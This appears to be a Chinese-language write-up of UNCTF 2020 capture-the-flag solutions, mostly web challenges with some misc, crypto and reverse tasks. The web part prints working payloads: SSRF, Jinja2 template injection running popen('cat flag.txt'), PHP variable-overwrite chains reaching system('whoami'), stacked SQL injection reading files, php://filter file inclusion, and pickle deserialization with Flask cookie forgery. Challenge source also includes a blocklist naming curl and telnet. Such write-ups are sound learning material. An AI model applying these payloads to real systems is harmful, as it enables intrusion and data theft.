Web easy_ssrf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php echo '<center><strong>welc0me to 2020UNCTF!!</strong></center>' ;highlight_file(__FILE__ ); $url = $_GET['url' ]; if (preg_match('/unctf\.com/' ,$url)){ if (!preg_match('/php|file|zip|bzip|zlib|base|data/i' ,$url)){ $url=file_get_contents($url); echo ($url); }else { echo ('error!!' ); } }else { echo ("error" ); } ?>
url里只要包含 unctf.com
即可,开始想多了,弄到 gopher 协议了,然后发现 dict
和 gopher
协议根本没开启,手慢错失三血
1 http:// e035ba36-6 bf8-44 c8-9837 -2 afecc32ca08.node3.hackingfor.fun/?url=/u nctf.com/../ ../../ ../flag
easyflask 知识点
注册 admin 然后登陆,发现路径 secret_route_you_do_not_know
,guss
参数 SSTI
__
被过滤,网上找了下,发现这篇文章:
https://www.secpulse.com/archives/115367.html
payload:
1 ?guess={{()|attr(request.args.x 1 )|attr(request.args.x 2 )|attr(request.args.x 3 )()|attr(request.args.x 4 )(91 )|attr(request.args.x 5 )|attr(request.args.x 6 )|attr(request.args.x 4 )(request.args.x 7 )|attr(request.args.x 4 )(request.args.x 8 )(request.args.x 9 )}}&x 1 =__class__&x 2 =__base__&x 3 =__subclasses__&x 4 =__getitem__&x 5 =__init__&x 6 =__globals__&x 7 =__builtins__&x 8 =eval&x 9 =__import__('platform').popen('cat flag.txt').read()
easyphp 知识点
变量覆盖
0e 开头 sha1 爆破
PHP 复杂变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php $adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab' ; if (!function_exists('fuxkSQL' )) { function fuxkSQL ($iText) { $oText = $iText; $oText = str_replace('\\\\' , '\\' , $oText); $oText = str_replace('\"' , '"' , $oText); $oText = str_replace("\'" , "'" , $oText); $oText = str_replace("'" , "''" , $oText); return $oText; } } if (!function_exists('getVars' )) { function getVars () { $totals = array_merge($_GET, $_POST); if (count($_GET)) { foreach ($_GET as $key => $value) { global ${$key}; if (is_array($value)) { $temp_array = array (); foreach ($value as $key2 => $value2) { if (function_exists('mysql_real_escape_string' )) { $temp_array[$key2] = fuxkSQL(trim($value2)); } else { $temp_array[$key2] = str_replace('"' , '\"' , str_replace("'" , "\'" , (trim($value2)))); } } ${$key} = $_GET[$key] = $temp_array; } else { if (function_exists('mysql_real_escape_string' )) { ${$key} = fuxkSQL(trim($value)); } else { ${$key} = $_GET[$key] = str_replace('"' , '\"' , str_replace("'" , "\'" , (trim($value)))); } } } } } } getVars(); if (isset ($source)) { highlight_file(__FILE__ ); } if (md5($password) === $adminPassword && sha1($verif) == $verif) { echo 'you can set config variables!!' . '</br>' ; foreach (array_keys($GLOBALS) as $key) { if (preg_match('/var\d{1,2}/' , $key) && strlen($GLOBALS[$key]) < 12 ) { @eval ("\$$key" . '="' . $GLOBALS[$key] . '";' ); } } } else { foreach (array_keys($GLOBALS) as $key) { if (preg_match('/var\d{1,2}/' , $key)) { echo ($GLOBALS[$key]) . '</br>' ; } } }
getVars
函数逻辑使用 $$var
可变量覆盖,md5($password) === $adminPassword
值需要覆盖 adminPassword
值为任意已知原文的md5值即可。sha1($verif) == $verif
这一步采用 0e
相等的方式,附上爆破脚本,爆破了大概半小时……
1 2 3 4 5 6 <?php for ($i=0 ;;$i++) if ("0e{$i}" ==sha1("0e{$i}" )) die ("[+] found! 0e{$i}" ); elseif ($i % 1000000 === 0 ) echo "[+] current value: {$i}\n" ;
payload,然后直接在 phpinfo 页面可以看到 flag
1 ?password =123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a ()}&a =phpinfo
上面这个 payload 命令命令执行的话,因为位数限制,执行的命令有限制,这题还可以任意命令执行
1 ?password =123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a ($b )}&a =system&b=whoami
非预期:
动态函数,刚好 flag 也可以在 phpinfo 看到
1 ?password=123456 &verif =0e1290633704 & adminPassword=e10adc3949ba59abbe56e057f20f883e&var1 =\"$a()?>&a=phpinfo
easyunserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting(0 ); highlight_file(__FILE__ ); class a { public $uname; public $password; public function __construct ($uname,$password) { $this ->uname=$uname; $this ->password=$password; } public function __wakeup () { if ($this ->password==='easy' ) { include ('flag.php' ); echo $flag; } else { echo 'wrong password' ; } } } function filter ($string) { return str_replace('challenge' ,'easychallenge' ,$string); } $uname=$_GET[1 ]; $password=1 ; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
序列化字符串逃逸,可以看这篇文章,增加和减少都有讲到
https://blog.csdn.net/qq_45521281/article/details/107135706
需要注意增加或减少逃逸长度的思想,正常的 payload ";s:8:"password";s:4:"easy";}
,长度为 29,然而每次逃逸的长度为 4,29 不是 4 的倍数。减少是不可能了,那么考虑增加,";s:8:"password";s:4:"easy";i:1}
32 位,是 4 的倍数。
payload:challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";i:1}
babyeval 正则为 /\(.*\)/
,不能使用带括号的 PHP 函数,那么考虑特殊语法 echo 和 include,回显结果不能含有 flag
,base64 即可
payload1:
1 ?a=echo`cat flag.php|base64`;
payload2:
1 ?a =include 'php://filter/read=convert.base64-encode/resource=flag.php' ;
ezphp 1 2 3 4 5 6 7 8 9 10 11 12 <?php show_source(__FILE__ ); $username = "admin" ; $password = "password" ; include ("flag.php" );$data = isset ($_POST['data' ])? $_POST['data' ]: "" ; $data_unserialize = unserialize($data); if ($data_unserialize['username' ]==$username&&$data_unserialize['password' ]==$password){ echo $flag; }else { echo "username or password error!" ; }
序列化数组即可,本地 payload 可以,题目环境不可以,发现 ==
想到弱类型,flag.php 里面对变量肯定有改动,username
和 password
改为数字类型的 0
即可,(非得这么考弱类型吗……)
1 data=a: 2 :{s: 8 :"username" ;i: 0 ;s: 8 :"password" ;i: 0 ;}
给了 index.php,登录 post 请求要改到 check.php,然后会跳转到 ping.php,然后都是假界面,index.php 注入然后 os-shell 搞定。
后面发现改了题,换成了命令执行绕过,过滤了空格,用 %09
绕过。又过滤了 flag
,使用linux 通配符 /????
的方式 cat 到 flag
checkin-sql qwb 随便注改编,三种思路可以参考
https://www.jianshu.com/p/36f0772f5ce8
这里 set..prepare
过滤忽略了大小写,set 和 prepare 不能同时出现,那么换一种思路,使用系统变量。数据库没有东西,尝试写入shell,能写入,但是访问就403错误,猜测 ngnix 配置问题。然后尝试 load_file 读文件,读取到 /tmp/flag.sh
获取到 flag 路径(参照随便注的 dockerfile)为 /fffllaagg
,读取即可。
这里有一个小 trick,我是使用的系统变量 general_log_file
来注入,但是发现 select ... /etc/paswd
这样sql语句和目录一起出现的语句不能赋值给 general_log_file
,所以我用了两个系统变量,用预编译占位符的方式绕过。
payload:
1 ?inject=-1';set global slow_query_log_file="select load_file(?)" ;set global general_log_file="/fffllaagg" ;show global variables like "slow_query_log_file" ;show global variables like "general_log_file" ;prepare execsql from @@slow_query_log_file;execute execsql using @@general_log_file;
后来发现预期解是考察存储过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $a = "1'; create procedure `qq`(out string text(1024), in hex text(1024)) BEGIN SET string = hex; END; ;#" ;echo urlencode($a)."\n" ;$b = "1'; call `qq`(@decoded, 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460); prepare payload from @decoded; execute payload; ;#" ;echo urlencode($b);?>
L0vephp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <SCRIPT language=javascript><!-- function runClock () {theTime = window.setTimeout("runClock()" , 100 ); var today = new Date();var display= today.toLocaleString();window.status="" +display+"黑客导航 - www.hac-ker.com" ; }runClock(); </SCRIPT> </body> <body> <div class="footer-wrapper"> <footer> <?php error_reporting(0 ); $action = $_GET['action' ]; if (isset ($action)) { if (preg_match("/base|data|input|zip|zlib/i" ,$action)){ echo "<script>alert('Hacker!!!')</script>" ; } else { include ("$action" ); } } else { include ("footer.php" ); } ?> </footer> </div> </body> </html> <!-- B4Z0-@:OCnDf, -->
fuzz 到 action 参数,发现文件包含漏洞,filter 伪协议读源码即可,过滤了 base,换用rot13编码
1 ?action=php://filter /read =string .rot13/resource=flag.php
flag.php:
1 2 3 4 <?php $flag = "unctf{7his_is_@_f4ke_f1a9}" ; ?>
hex 解码后发现 1nD3x.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0 ); show_source(__FILE__ ); $code=$_REQUEST['code' ]; $_=array ('@' ,'\~' ,'\^' ,'\&' ,'\?' ,'\<' ,'\>' ,'\*' ,'\`' ,'\+' ,'\-' ,'\'' ,'\"' ,'\\\\' ,'\/' ); $__=array ('eval' ,'system' ,'exec' ,'shell_exec' ,'assert' ,'passthru' ,'array_map' ,'ob_start' ,'create_function' ,'call_user_func' ,'call_user_func_array' ,'array_filter' ,'proc_open' ); $blacklist1 = array_merge($_); $blacklist2 = array_merge($__); if (strlen($code)>16 ){ die ('Too long' ); } foreach ($blacklist1 as $blacklisted) { if (preg_match ('/' . $blacklisted . '/m' , $code)) { die ('WTF???' ); } } foreach ($blacklist2 as $blackitem) { if (preg_match ('/' . $blackitem . '/im' , $code)) { die ('Sry,try again' ); } } @eval ($code); ?>
参考 p 神文章,绕过 16 位限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /1 nD3x.php?1 []=test&1 []=cat%20 /flag_mdnrvvldb&2 =system HTTP/1.1 Host: 91 cd6671-4678 -4 d49-b68f-2 cfa15e6aa9d.node3.hackingfor.fun Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0 .4183 .121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
easy_upload delctf 原题:https://blog.csdn.net/alexhcf/article/details/105946638
上传 .htaccess
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <title>UPLOAD</title> <meta name="viewport" content="width=device-width, initial-scale=1" > <link rel="stylesheet" type="text/css" href="style/css/style1.css" > <link rel="stylesheet" type="text/css" href="style/css/style2.css" > </head> <?php error_reporting(0 ); $userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR" ]); $typeAccepted = ["image/jpeg" , "image/gif" , "image/png" ]; if (!file_exists($userdir)) { mkdir($userdir, 0777 , true ); } if (isset ($_POST["upload" ])) { $tmp_name = $_FILES["fileUpload" ]["tmp_name" ]; $name = $_FILES["fileUpload" ]["name" ]; $black = file_get_contents($tmp_name); if (!$tmp_name) { $result1 ="???" ; }else if (!$name) { $result1 ="filename cannot be empty!" ; } else if (preg_match("/ph|ml|js|cg/i" , $name)) { $result1 = "filename error" ; } else if (!in_array($_FILES["fileUpload" ]['type' ], $typeAccepted)) { $result1 = 'filetype error' ; } else if (preg_match("/perl|pyth|ph|auto|curl|\|base|>|rm|ryby|openssl|war|lua|msf|xter|telnet/i" ,$black)){ $result1 = "perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!" ; } else { $upload_file_path = $userdir . "/" . $name; move_uploaded_file($tmp_name, $upload_file_path); system("chmod +x " .$userdir."/*" ); $result2= "Your dir : " . $userdir. ' <br>' ; $result3= "Your files :" .$name.'<br>' ; } }else { $result1 = 'upload your file' ; } ?> <body> <div class="wrap"> <div class="container"> <h1 style="color: white; margin: 0; text-align: center" >UPLOADS</h1> <form action="index.php" method="post" enctype="multipart/form-data" > <input class="wd" type="file" name="fileUpload" id="file"><br> <input class="wd" type="submit" name="upload" value="submit"> <p class="change_link" style="text-align: center"> <strong><?php print_r($result1);?> </strong> </br> <strong><?php print_r($result3);?> </strong> </br> <strong><?php print_r($result2);?> </strong> </p> </form> </div> </div> </body> </html>
ezfind 这题人傻了,直接变成数组就可以绕过,考察的错误转换成true?
easy_flask2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from flask import Flask,render_template,redirect,request,session,make_responseimport configimport pickleimport ioimport sysimport base64class Person : def __init__ (self, name, is_admin) : self.name = name self.is_admin = is_admin class RestrictedUnpickler (pickle.Unpickler) : def find_class (self, module, name) : if module == '__main__' : return getattr(sys.modules['__main__' ], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s) : return RestrictedUnpickler(io.BytesIO(s)).load() app = Flask(__name__) flag = "xxx" @app.route("/") def index () : app.config["SECRET_KEY" ] = config.secret_key return redirect("login" ) @app.route("/login",methods=["GET","POST"]) def login () : if request.form.get('name' ): name = request.form.get('name' ) person = Person(name,0 ) pkl = pickle.dumps(person) pkl = base64.b64encode(pkl) resp = make_response(name) resp.set_cookie('pkl' ,pkl) session['name' ] = name session['is_admin' ] = 0 return resp else : if session.get('name' ): if b'R' in base64.b64decode(request.cookies['pkl' ]): return "RCE??" person = pickle.loads(base64.b64decode(request.cookies['pkl' ])) print(person.is_admin) if session.get('is_admin' ) == 1 : if person.is_admin == 1 : return "HHHacker!Here is Your flag : " + flag return render_template("index.html" ,name=session.get('name' )) else : return render_template("login.html" ) @app.route("/logout",methods=["GET","POST"]) def logout () : resp = make_response("success" ) resp.delete_cookie("session" ) resp.delete_cookie("pkl" ) return resp @app.route("/source") def source () : return open('code.txt' ,'r' ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" ,port=5000 ,debug=True )
赛后复现了一下,考点是 pickle 反序列化覆盖 secret_key 以及 flask cookie 伪造
pickle 反序列化可以参考以下几篇文章:
https://xz.aliyun.com/t/7436
https://www.anquanke.com/post/id/188981
https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://zhuanlan.zhihu.com/p/89132768
手搓字节码关键在于理解 opcode 作用,不太理解的可以尝试阅读源代码帮助理解,以及理清栈和 memo 里每一步的数据。可以使用 pker 帮助构建,建议可以在本地测试 opcode 是否构建正确
pker 代码,覆盖 secret_key ,返回 Person 对象
1 2 3 4 secret = GLOBAL('__main__' , 'config' ) secret.secret_key = 'hello' person = INST('__main__' , 'Person' , 'admin' , 1 ) return person
然后使用 flask-session-cookie-manager 伪造 cookie,注意这里的参数都需要用双引号扩起来,github 文档示例不太对,会报错
1 py -3 flask_session_cookie_manager3.py encode -s "hello" -t "{' name':'admin' ,'is_admin' :1 }"
具体流程,登录过后,修改 coookie
的 pkl,访问 /login
反序列化覆盖 secret_key
,然后再访问 /
覆盖掉 app.config["SECRET_KEY"]
,接着更改 cookie
的 session
为篡改的 session 访问 /login
即可获得 flag
Misc baba_is_you 010 editor 打开发现最后有个 b 站地址,访问后第一条评论就是 flag
https://www.bilibili.com/video/BV1y44111737
阴阳人编码 1 2 3 4 5 6 7 8 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 不会吧! 就这¿ 不会吧! 不会吧! 就这. 就这¿ 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这¿ 就这. 就这¿ 不会吧! 就这. 就这¿ 就这. 就这. 就这. 就这. 不会吧! 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 不会吧! 就这. 就这¿ 就这. 就这. 就这. 就这. 就这. 就这. 就这. 不会吧! 就这¿ 不会吧! 不会吧! 就这. 就这¿ 不会吧! 不会吧! 不会吧! 不会吧! 不会吧! 不会吧! 就这¿ 就这. 就这¿ 不会吧! 就这. 就这¿ 不会吧! 不会吧! 不会吧! 不会吧! 不会吧! 就这. 就这. ……
三个密码子,最先猜测摩斯密码肯定不对,后来又尝试了其他很多密码,最后想到 Ook 编码三个密码子,且对应后缀 .
、?
、!
然后解密即可
爷的历险记 游戏还是很好玩,按照游戏流程过游戏,然后修改 rpgsave 存档文件,修改金钱数即可购买 flag
YLB’s CAPTCHA - 签到题 ylb 的验证码给搬上来了,正确输入 10 次即可获得 flag,不得不吐槽,眼睛都快瞎了
躲猫猫 把图移开后发现 base64 后的 flag
YLB绝密文件 流量包获取到三个文件 xor.py
,YLBSB.xor
,secret.pyc
pyc 反编译的到 key
,然后编写脚本跑就完事,3M的文件,跑了一个小时。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ''' @time :2020/11/09 19:44:44 @author :Str3am ''' import base64key = 'YLBSB?YLBNB!' enc = open("YLBSB.xor" , "rb" ) file = open("YLBSB.docx" , "wb" ) ciper = enc.read() file_base64 = b'' count = 0 for c in ciper: m = c^ord(key[count % len(key)]) file_base64 = file_base64+chr(m).encode() count = count + 1 file.write(base64.b64decode(file_base64))
mouse_click 流量分析,usb协议,参照这篇文章,提取出坐标点,然后plot绘图即可得flag的镜像
https://blog.csdn.net/qq_43625917/article/details/107723635
unctf{U5BC@P}
撕坏的二维码 补齐定位点扫描即得
unctf{QR@2yB0x}
零 零宽度字符,解密即得 unctf{sycj24_6hvgj_8gfj}
你能破解我的密码吗 john直接破解密码为 123456
被删除的flag 010 editor直接读
网络深处 解码工具分析出拨号内容,解压后发现塔珀自指公式,参考这篇文章解出
https://www.cnblogs.com/l137/p/3594664.html
flag{Y29pbA==}
EZ_IMAGE 参考文章,montage + gaps拼图
https://shawroot.cc/archives/639
UNCTF{EZ_MISC_AND_HACK_FUN}
PWN YLBNB 直接一直回车,然后出了部分 flag UNCTF{Gu@rd_Th3_Bes7_
,结合题目名字,UNCTF{Gu@rd_Th3_Bes7_YLB}
,没有pwn环境,有空学一学,应该就是一直请求接收包就可以。
Crypto easy_rsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util import numberimport gmpy2from Crypto.Util.number import bytes_to_longp = number.getPrime(1024 ) q = number.getPrime(1024 ) if p > q: a = p + q b = p - q print(a,b) n = p * q e = 65537 phi = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi) m = bytes_to_long(b'msg' ) c = pow(m,e,n) print(c)
a,b已知,通过加减乘除即可知 p,q
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ''' @time :2020/11/07 23:56:39 @author :Str3am ''' import gmpy2from Crypto.Util.number import long_to_bytes, isPrimea = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168 b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370 c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780 q = (a-b)//2 p = a - q n = p * q phi = (p-1 )*(q-1 ) e = 65537 d = gmpy2.invert(e,phi) m = pow(c,d,n) print(long_to_bytes(m))
这里需要注意的是,如果是 q = (a-b)/2
,会抛出 OverflowError: int too large to convert to float
。这里是因为在 Python3 里面,/
默认是浮点数除法,q 默认类型即为 float
,浮点数对于大数会出现掉精度的问题,导致相减时范围溢出。
解决方法是换用整数除法 \\
,整数除法在 Python3 里面是结果向下取整,如下,但重要的是做大数除法的时候会保留 int 类型的精度。
简单的RSA winner attack 获取到 d 的值,然后解密即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ''' @time :2020/11/09 17:18:05 @author :Str3am ''' from Crypto.Util.number import long_to_bytesn= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701 c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934 d= 74651354506339782898861455541319178061583554604980363549301373281141419821253 m = pow(c, d, n) print(long_to_bytes(m))
鞍山大法官开庭之缺的营养这一块怎么补 1 ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto
培根密码,o换成a,t换成b,然后解密即可,unctf{PEIGENHENYOUYINGYANG}
Reverse re_checkin
初入逆向,工具都是现学,x64dbg 动态调即得 flag
反编译 参照这篇文章,反编译 run.py
http://pluie.top/2020/09/03/pyinstaller%E6%89%93%E5%8C%85%E7%9A%84-exe%E6%96%87%E4%BB%B6%E5%8F%8D%E6%B1%87%E7%BC%96%E6%88%90-py%E6%96%87%E4%BB%B6/
1 2 3 4 5 6 str2 = 'UMAQBvogWLDTWgX"""k' flag = '' for i in range(len(str2)): flag += chr(ord(str2[i]) + i) print (flag)
UNCTF{un_UN_ctf123}